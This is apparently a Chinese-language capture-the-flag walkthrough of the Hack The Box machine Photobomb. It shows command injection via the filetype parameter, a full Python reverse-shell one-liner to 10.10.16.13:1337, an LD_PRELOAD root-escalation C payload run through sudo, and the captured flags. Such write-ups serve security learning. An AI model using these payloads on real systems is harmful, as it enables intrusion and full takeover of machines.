HTB-Photobomb


HTB-Photobomb

ip:10.10.11.182

截屏2022-10-13 14.51.09.png

修改hosts

截屏2022-10-13 14.53.03.png

访问80端口

截屏2022-10-13 14.53.44.png

我们点击click here,发现跳出登录框让我们登录

截屏2022-10-13 14.55.09.png

尝试扫描一下目录(dirsearch,JSfinder):

截屏2022-10-13 16.15.13.png

截屏2022-10-13 16.15.30.png

photobomb.js:

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

访问该连接:

截屏2022-10-13 16.17.58.png

截屏2022-10-13 16.18.21.png

截屏2022-10-13 16.18.49.png

我们随意下载一张照片抓包分析一下:

截屏2022-10-13 16.33.05.png

我们尝试用burp下载一张照片,当我去测试filetype参数时发现了问题当我们在filetype参数后加上;id时,我们可以在response包中发现被返回回来了

截屏2022-10-13 19.46.57.png

request

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg&filetype=jpg;id&dimensions=3000x2000

response

HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 13 Oct 2022 11:35:16 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 68
Connection: close
Content-Disposition: attachment; filename=eleanor-brooke-w-TLY0Ym4rM-unsplash_3000x2000.jpg;id
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Failed to generate a copy of eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg

我们正常加id发现时间为4s,但是如果我们尝试去ping -c 20 127.0.0.1 发现时间变为了24s,猜测这里有命令执行

截屏2022-10-13 20.10.13.png

Untitled

为了进一步证明不是我们学校LJ网络的问题,我开了一个服务进行下载,发现可以访问

截屏2022-10-13 20.17.19.png

发现可以成功访问

那么我们利用这个网站去生成一个python的反弹shell脚本

https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.13",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

接收shell,获得一个id为wizard的shell

截屏2022-10-13 20.33.20.png

找到flag

截屏2022-10-13 20.35.47.png

aa2d3cff0fb0b80d1262a62c4ba2e8c6

因为一个普通shell用起来很不方便,可以先转变为交互式shell,具体方法参考:

https://saucer-man.com/information_security/233.html

linux提权我习惯先下载一个linpeas来进行检查,

截屏2022-10-13 20.45.32.png

这个脚本可能会有误报,所以需要亲自测试

截屏2022-10-13 20.46.05.png

本来向讨巧利用traitor进行提权,发现失败

截屏2022-10-13 21.09.00.png

重新查看linpeas的结果,发现sudo -l 存在root权限的脚本

截屏2022-10-13 21.10.46.png

查看一下

截屏2022-10-13 21.13.20.png

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

背景知识

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation#:~:text=LD_PRELOAD %26 LD_LIBRARY_PATH

https://c0nd4.medium.com/linux-sudo-ld-preload-privilege-escalation-7e1e17d544ec

共享库

共享库是多个程序可以利用同一组代码的一种方式。这一点非常重要,因此每个程序都不需要通过为需要完成的每项任务制作自定义功能来重新发明轮子。在执行程序之前,可以将共享库加载到内存中。指定要加载的共享库的一种方法是将它们添加到LD_PRELOAD环境变量中。添加到LD_PRELOAD的文件将被放入内存中,并可能在执行被调用的实际程序之前执行。

/etc/sudoers 环境变量

默认情况下,在通过 sudo 调用命令时,只有特定的环境变量保持不变。这些包括术语,路径,主页,邮件,shell,日志名称,用户,用户名和SUDO_*变量,如 sudoers 手册中所述。这是由于默认情况下启用了env_reset设置。

为了通过 sudo 调用保留其他环境变量,可以将变量添加到env_keep。env_keep中包含的所有变量将保持不变。如果将LD_PRELOAD环境变量添加到env_keep则用户可以指定在通过 sudo 执行程序之前要加载的共享库。这是危险的,并可能导致特权升级。

简单介绍一下LD_PRELOAD & LIBRARY_PATH

LD_PRELOAD是一个可选的环境变量,其中包含共享库或共享对象的一个或多个路径,加载程序将在任何其他共享库(包括 C 运行时库)之前加载 libc.so 这些路径 这称为预加载库。

为了避免此机制被用作 suid/sgid 可执行二进制文件的攻击媒介,加载程序会忽略LD_PRELOAD  if *ruid != euid.*对于此类二进制文件,将仅预加载标准路径中也是 suid/sgid 的库。
如果你在 sudo -l 的输出中发现句子:env_keep+=LD_PRELOAD并且你可以用 sudo 调用一些命令,则可以提升权限。

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/usr/bin/bash");
}

开始我是想在目标机器编译,发现没有gcc,那么我们就在本机进行编译并上传,在实战中一定要选择和目标机器完全相同的环境,否则可能会出现各种各样的问题

截屏2022-10-13 22.11.34.png

那么我们去触发shell来获得root权限

sudo LD_PRELOAD=/home/wizard/shell.so /opt/cleanup.sh

截屏2022-10-13 22.12.58.png

获得root.txt

1b496c67ef6ced87b717cb3dceb594c9

截屏2022-10-13 22.13.58.png


文章作者: l1b3r
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l1b3r !
  目录